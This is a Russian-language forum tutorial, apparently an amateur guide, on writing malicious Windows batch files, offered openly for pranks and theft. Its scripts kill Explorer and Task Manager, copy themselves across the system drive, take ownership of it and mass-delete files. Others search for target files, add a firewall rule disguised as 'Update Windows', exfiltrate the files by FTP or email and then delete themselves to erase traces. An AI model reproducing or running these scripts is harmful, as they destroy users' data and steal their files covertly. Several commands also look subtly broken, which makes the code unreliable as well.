Давненько не писал,да и честно говоря ни настроя ни желание как такого не было да и сейчас нету,так что пишу так чисто от балды пока работает сканер.)
И так начнём...
А начнём с того что во первых определимся для чего нам нужен вирус,то есть какую полезную функцию он будет выполнять.Будет вирус тупа создавать кучу ошибок и портить нервы ламерам или же будет нести какую то реально полезную функцию и это будет не совсем шалость,а допустим вирус который будет искать нужный нам файл,отправлять его куда нибудь,там на почтовый ящик,либо на FTP сервер и удалять за собой все следы присутствия,дабы не вызывать ни каких подозрений.
В первом случае всё просто,можно обойтись буквально в несколько строк команд cmd:

Код:
@echo off
:start
explorer.exe
goto start

@echo off - выключаем вывод команд(можно и без этого)
:start - ставим метку
explorer.exe - запускаем explorer,тупа откроется окно проводника.
goto start - прыгаем на метку start
Подобный батинок не принесёт особого вреда системе,но довольно не плохо покапает на нервы неопытному пользователю.При запуске батинок начнёт открывать окно проводника,пока не упадёт система,при этом не давая выполнить ни какого действия.
Добавим вывод какого нибудь сообщения,убьём проводник и запретим запуск его в дальнейшем как в принципе и диспетчера задач.

Код:
@echo off
:start
taskkill /f /im explorer.exe /t
taskkill /f /im taskmgr.exe /t
msg %username% Текст сообщения
goto start

Подобный батинок посадит на большую панику,но сразу заявит о себе своим сообщением,сразу отбив какие либо сомнения по поводу действий в системе.
Как и батинок изложенный выше не принесёт особого вреда системе,однако на панику неопытного пользователя посадит,разумеется если добавить строку на пропись в автозагрузку,паника увеличится в несколько раз и неопытный пользователь без сторонней помощи не обойдёться)
Ну и добавим не много зловреда,тоже в принципе шалость и по сути не принесёт ни какой пользы,но всё же напишем тупа что бы было))

Код:
@echo off
:start
takeown /f %Systemdrive%\* /r
if exist %Systemdrive%\virus.bat goto co else
copy /y %0 "%Systemdrive%\virus.bat"
copy /y %0 "%Systemroot%\virus.bat"
copy /y %0 "%Systemdrive%\inf\virus.bat"
start %Systemdrive%\virus.bat
start %Systemroot%\virus.bat
start %Systemdrive%\inf\virus.bat
:co
taskkill /f /im explorer.exe /t
taskkill /f /im taskmgr.exe /t
del /s /q *.*
msg %username% Hello Lamer
goto start

Батинок повысит права на доступ к файлам,каталогам и подкаталогам вместе с файлами в них,на системном диске,допустим на диске С: и скопирует своё тело на C:,в папку Windows,inf,убьёт процесс проводника и запретит дальнейший его запуск,в принципе как диспетчера задач и начнёт удалять все файлы которые будут там находиться,а так как перед этим права на файлы повысяться большинство файлов удаляться.Будет выполняться данный батинок до тех пор пока не повиснит система,на это как правило много времени не потребуется.
Вышеизложенный батинок принесёт большего вреда,пред идущие,но эффект по идеи поправим, путём восстановления системы.
Думаю на этом закончим с глупостями и рассмотрим пример батинка который будет нести полезную функцию,а именно будет тащить нужный нам файл,отправлять его куда нибудь и стирать за собой все следы своего присутствия.
Стащить файл местоположение которого мы знаем,наверное самое простое,если файл один,то тупа указываем путь к файлу который нам нужен,в коде отправки.Но прежде нам нужно определиться как будет отправляться файл,через FTP или же на почту?
В первом варианте всё просто и не потребуется ни каких посторонних файлов,пишем:

Код:
@echo off
netsh advfirewall firewall add rule name="Update Windows" dir=in program="%SYSTEMROOT%\System32\ftp.exe" security=notrequired action=allow
echo open host FTP>%systemdrive%\ftp.txt
echo user Login Password>>%systemdrive%\ftp.txt
echo cd pass>>%systemdrive%\ftp.txt
echo put %Путь до файла%\fil.file>>%systemdrive%\ftp.txt
echo quit>>%systemdrive%\ftp.txt
ftp -n -s:%systemdrive%\ftp.txt
echo @echo off>%temp%\del.bat
echo del /s /q %systemdrive%\virus.exe>>%temp%\del.bat
echo cls >>%temp%\del.bat
echo del /s /q %temp%\del.bat>>%temp%\del.bat
cls
del /s /q %systemdrive%\ftp.txt
start %temp%\del.bat
exit

Вместо host FTP пишем хост на который будет отправляться файл,вместо Login Password пишем логин и пароль от хостинга на который будет улетать нужный файл,в этой строке :echo put %Путь до файла%\file.file>>%systemdrive%\ftp.txt указываем путь до файла который нам нужен.
Во втором случае нам придётся воспользоваться помощью сторонних программа типа blat или sendmail,расмотрим пример с использованием sendmail:

Код:
@echo off
netsh advfirewall firewall add rule name="Update Windows" dir=in program="%systemdrive%\sendmail.exe" security=notrequired action=allow
%systemdrive%\sendmail.exe /smtpserver smtp.server.in /to to@servermail.lv /from from@server.in /subject Theme mail /body body text /attachment c:\dir\file.file /user from /password password
echo @echo off>%temp%\del.bat
echo del /s /q %systemdrive%\virus.exe>>%temp%\del.bat
echo cls >>%temp%\del.bat
echo del /s /q %temp%\del.bat>>%temp%\del.bat
cls
del /s /q %systemdrive%\sendmail.exe
start %temp%\del.bat
exit

ключевой строкой является:

Код:
%systemdrive%\sendmail.exe /smtpserver smtp.server.in /to to@servermail.lv /from from@server.in /subject Theme mail /body body text /attachment c:\dir\file.file /user from /password password

%systemdrive%\sendmail.exe - путь к программе sendmail
/smtpserver smtp.server.in - указываем smtp сервер почтовой службы с которой будет производиться отправка письма
/to to@servermail.lv - адрес почтового ящика на который будет производиться отправка письма с файлом
/from from@server.in - адрес почтового ящика с котрого будет производиться отправка письма
/subject Theme mail - тема отправляемого письма
/body body text - текст содержащийся в отправляемом письме
/attachment c:\dir\file.file - полный путь к нужному нам файлу
/user from - логин от почтовго ящика с которого будет производиться отправка письма
/password password - пароль от почтового ящика с которого будет производиться отправка письма

Как видно в обоих батинках есть один и тот же кусок:

Код:
echo @echo off>%temp%\del.bat
echo del /s /q %systemdrive%\virus.exe>>%temp%\del.bat
echo cls >>%temp%\del.bat
echo del /s /q %temp%\del.bat>>%temp%\del.bat

Этот кусок создаёт батинок в временной папке temp,который в свою очередь удаляет выполянемый батинок и самого себя.
А что если мы не знаем где находиться нужный нам файл?
Да всё снова просто,мы найдем наш файл,скопируем его в какую нибудь папку,в атаче укажем путь куда будме копировать файл,а после отправки тупа удалим его от туда,как в прнинципе и всё остальное в дальнейшем.
В коде это будет выглядить примерно так:

Код:
@echo off
netsh advfirewall firewall add rule name="Update Windows" dir=in program="%SYSTEMROOT%\System32\ftp.exe" security=notrequired action=allow
for /f "tokens=*" %%a in ('Dir /b/s/a-d %systemdrive%\file.file') Do copy %lol%=%%a
copy /y file.file %SystemDriver%\file.file
cls
echo open host FTP>%systemdrive%\ftp.txt
echo user Login Password>>%systemdrive%\ftp.txt
echo cd pass>>%systemdrive%\ftp.txt
echo put %systemdrive%\fil.file>>%systemdrive%\ftp.txt
echo quit>>%systemdrive%\ftp.txt
ftp -n -s:%systemdrive%\ftp.txt
echo @echo off>%temp%\del.bat
echo del /s /q %systemdrive%\virus.exe>>%temp%\del.bat
echo cls >>%temp%\del.bat
echo del /s /q %temp%\del.bat>>%temp%\del.bat
cls
del /s /q %systemdrive%\file.file
del /s /q %systemdrive%\ftp.txt
start %temp%\del.bat
exit

Вообщем всё видно по батинку,ну я так думаю))
Параметры указываем те же,просто добавляем пару строк в тело батинка,строка которая будет искать нужный нам файл на системном диске,строка которая при нахождение его скопирует на системный диск и строка которая после отправки его удалит.
Снова всё как всегда просто,а иначе в принципе и быть не может.В принципе если файлов нужно будет утянуть не один,то снова есть выбор,либо несколько раз производить отправку нужного файла,либо сначала его упаковать при помощи компанента из популярного архиватора -WinRar,в обоих случаях всё просто.
Допустим нам нужно несколько файлов,а именно пять,двух из которых местоположение мы знаем,а с тремя остальными,нам не так повезло и мы знаем только имя диска на которых находяться каждый из них.
Отправлять снова и снова каждый файл по отдельности,конечно же можно,но думаю будет целеобразней упаковать всё в один архив и отправить всё за один раз.

Код:
 @echo off
netsh advfirewall firewall add rule name="Update Windows" dir=in program="%SYSTEMROOT%\System32\ftp.exe" security=notrequired action=allow
md %systemdrive%\file
copy /y %systemdrive%\folder\file.file %systemdrive%\file\file.file
copy /y D:\Password\fil2.file %systemdrive%\file\file2.file
for /f "tokens=*" %%a in ('Dir /b/s/a-d %systemdrive%\file3.file') Do copy %lol%=%%a
copy /y file3.file %systemdrive%\file\file3.file
del /s /q file3.file
cls
for /f "tokens=*" %%a in ('Dir /b/s/a-d D:\file4.file') Do copy %lol%=%%a
copy /y file4.file %systemdrive%\file\file4.file
del /s /q file4.file
cls
for /f "tokens=*" %%a in ('Dir /b/s/a-d C:\file5.file') Do copy %lol%=%%a
copy /y file5.file %systemdrive%\file\file5.file
del /s /q file5.file
cls
copy /y %systemdrive%\rar.exe %systemdrive%\file\rar.exe
del /s /q %systemdrive%\rar
%systemdrive%\file\rar a -r %systemdrive%\file\file.rar %systemdrive%\file\
echo open host FTP>%systemdrive%\ftp.txt
echo user Login Password>>%systemdrive%\ftp.txt
echo cd pass>>%systemdrive%\ftp.txt
echo put %systemdrive%\fil\file.rar>>%systemdrive%\ftp.txt
echo quit>>%systemdrive%\ftp.txt
ftp -n -s:%systemdrive%\ftp.txt
echo @echo off>%temp%\del.bat
echo del /s /q %systemdrive%\virus.exe>>%temp%\del.bat
echo cls >>%temp%\del.bat
echo del /s /q %temp%\del.bat>>%temp%\del.bat
cls
rd /s /q %systemdrive%\file.file
del /s /q %systemdrive%\ftp.txt
start %temp%\del.bat
exit

В данном батинке мы знаем местоположение file.file и file2.file,знаем что file3.file находиться на системном диске,file4.file находиться на диске D:,а file5.file находиться на диске C:.
Ну в общем думаю на этом мы и закончим,честно надоело писать,да и мысли уже путаются,так что на этом и закончу,если кому чего будет не понятно,разумеется задаём свои вопросы ниже не стсняемся,а мы в свою очередь попытаемся на них ответить.
Файлы которые к которым я приводил примеры,а именно консольная программы отсылки писем Sendmail и компанент от популярного архиватора rar.exe можно скачать Здесь или здесь.